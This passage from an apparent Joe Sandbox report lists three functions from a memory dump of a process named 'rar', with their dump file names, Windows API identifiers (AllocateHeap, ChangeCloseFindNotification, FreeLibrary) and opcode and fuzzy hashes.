                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: AllocateHeap
                                              • String ID:
                                              • API String ID: 1279760036-0
                                              • Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
                                              • Instruction ID: 00920b84d4f8878948e702db0ebc46457a2bb31e64bc7da5d827bda6d9cfbbc3
                                              • Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
                                              • Instruction Fuzzy Hash: 14F0DA11A4D2C641FA58BAA1AD412F5D291DF447B0F98063AFD2E4A2C1EF7CA8418534
                                              Function 00007FF70F391930 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: ChangeCloseFindNotification
                                              • String ID:
                                              • API String ID: 2591292051-0
                                              • Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
                                              • Instruction ID: b7b33982d9cd5e32908ee525223b2dfe781b5e34fa8b1788191e30ae71bc95ff
                                              • Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
                                              • Instruction Fuzzy Hash: 34F0812290C78285EB24BB64E8403B4E750DF00BBCF985338D63D190D8CF68D996C7A0
                                              Function 00007FF70F3DFA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: FreeLibrary
                                              • String ID:
                                              • API String ID: 3664257935-0
                                              • Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
                                              • Instruction ID: 112912e27dcabb4d61d9605738bfce49eec219e3390bc98bff772a1d3d9160cc
                                              • Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
                                              • Instruction Fuzzy Hash: 9FD01765F1EE8381F708AB80EC843B19265FF943A9FE10638DA0D08250CFAC20548220